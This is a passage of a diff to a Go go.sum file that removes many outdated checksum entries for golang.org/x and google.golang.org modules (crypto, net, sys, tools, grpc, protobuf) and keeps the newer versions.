-golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
-golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
-golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
-golang.org/x/crypto v0.0.0-20200728195943-123391ffb6de/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
-golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4=
-golang.org/x/crypto v0.0.0-20210513164829-c07d793c2f9a/go.mod h1:P+XmwS30IXTQdn5tA2iutPOUgjI07+tq3H3K9MVA1s8=
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.0.0-20220622213112-05595931fe9d/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58=
@@ -380,56 +147,16 @@ golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v
golang.org/x/crypto v0.30.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk=
golang.org/x/crypto v0.31.0 h1:ihbySMvVjLAeSH1IbfcRTkD/iNscyz8rGzjF/E5hV6U=
golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk=
-golang.org/x/exp v0.0.0-20181106170214-d68db9428509/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
-golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
-golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
-golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8=
-golang.org/x/exp v0.0.0-20190829153037-c13cbed26979/go.mod h1:86+5VVa7VpoJ4kLfm080zCjGlMRFzhUhsZKEZO7MGek=
-golang.org/x/exp v0.0.0-20191030013958-a1ab85dbe136/go.mod h1:JXzH8nQsPlswgeRAPE3MuO9GYsAcnJvJ4vnMwN/5qkY=
-golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js=
-golang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=
-golang.org/x/image v0.0.0-20200119044424-58c23975cae1/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=
-golang.org/x/image v0.0.0-20210220032944-ac19c3e999fb/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=
-golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
-golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU=
-golang.org/x/lint v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
-golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
-golang.org/x/lint v0.0.0-20190409202823-959b441ac422/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
-golang.org/x/lint v0.0.0-20190909230951-414d861bb4ac/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
-golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
-golang.org/x/mobile v0.0.0-20181026062114-a27dd33d354d/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE=
-golang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE=
-golang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028/go.mod h1:E/iHnbuqvinMTCcRqshq8CkpyQDoeVncDDYHnLhea+o=
-golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc=
-golang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY=
-golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
golang.org/x/mod v0.15.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
-golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
-golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
-golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
-golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
-golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
-golang.org/x/net v0.0.0-20181201002055-351d144fa1fc/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
-golang.org/x/net v0.0.0-20181220203305-927f97764cc3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
-golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
-golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
-golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
-golang.org/x/net v0.0.0-20190501004415-9ce7a6920f09/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
-golang.org/x/net v0.0.0-20190503192946-f4e77d36d62c/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
-golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
-golang.org/x/net v0.0.0-20200520004742-59133d7f0dd7/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
-golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
-golang.org/x/net v0.0.0-20210428140749-89ef3d95e781/go.mod h1:OJAsFXCWl8Ukc7SiCT/9KSuxbyM7479/AVlXFRxuMCk=
golang.org/x/net v0.0.0-20210610132358-84b48f89b13b/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
-golang.org/x/net v0.0.0-20210614182718-04defd469f4e/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
@@ -440,15 +167,7 @@ golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44=
golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM=
golang.org/x/net v0.32.0 h1:ZqPmj8Kzc+Y6e0+skZsuACbx+wzMgo5MQsJh9Qd6aYI=
golang.org/x/net v0.32.0/go.mod h1:CwU0IoeOlnQQWJ6ioyFrfRuomB8GKF6KbYXZVyeXNfs=
-golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
-golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
-golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
-golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
-golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
-golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
-golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
-golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y=
@@ -456,34 +175,11 @@ golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sync v0.10.0 h1:3NQrjDixjgGwUOCaF8w2+VYHv0Ve/vGYSbdkTa98gmQ=
golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
-golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
-golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
-golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
-golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
-golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
-golang.org/x/sys v0.0.0-20181107165924-66b7b1311ac8/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
-golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
-golang.org/x/sys v0.0.0-20181128092732-4ed8d59d0b35/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
-golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20190904154756-749cb33beabd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20191120155948-bd437916bb0e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20210112080510-489259a85091/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
-golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
-golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
@@ -507,8 +203,6 @@ golang.org/x/term v0.20.0/go.mod h1:8UkIAJTvZgivsXaD6/pH6U9ecQzZ45awqEOzuCvwpFY=
golang.org/x/term v0.27.0 h1:WP60Sv1nlK1T6SupCHbXzSaN0b9wUmsPoRS9b61A23Q=
golang.org/x/term v0.27.0/go.mod h1:iMsnZpn0cago0GOrHO2+Y7u7JPn5AylBrcoWkElMTSM=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
-golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
-golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
@@ -519,95 +213,29 @@ golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo=
golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=
-golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
-golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
-golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
-golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
-golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY=
-golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
-golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
-golang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
-golang.org/x/tools v0.0.0-20190328211700-ab21143f2384/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
-golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
-golang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
-golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
-golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
-golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
-golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
-golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
-golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
-golang.org/x/tools v0.0.0-20191112195655-aa38f8e97acc/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
-golang.org/x/tools v0.0.0-20201224043029-2b0845dc783e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
-golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0=
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58=
golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
-golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
-golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
-google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE=
-google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M=
-google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg=
-google.golang.org/api v0.9.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg=
-google.golang.org/api v0.13.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI=
-google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=
-google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
-google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
-google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0=
-google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
-google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
-google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
-google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
-google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
-google.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
-google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
-google.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8=
-google.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c h1:QgY/XxIAIeccR+Ca/rDdKubLIU9rcJ3xfy1DC/Wd2Oo=
google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c/go.mod h1:CGI5F/G+E5bKwmfYo09AXuVN4dD894kIKUFmVbP2/Fo=
-google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
-google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38=
-google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM=
-google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
-google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
-google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
-google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=
-google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=
-google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
-google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
google.golang.org/protobuf v1.28.1 h1:d0NfwRgPtno5B1Wa6L2DAG+KivqkdutMf1UhdNx175w=
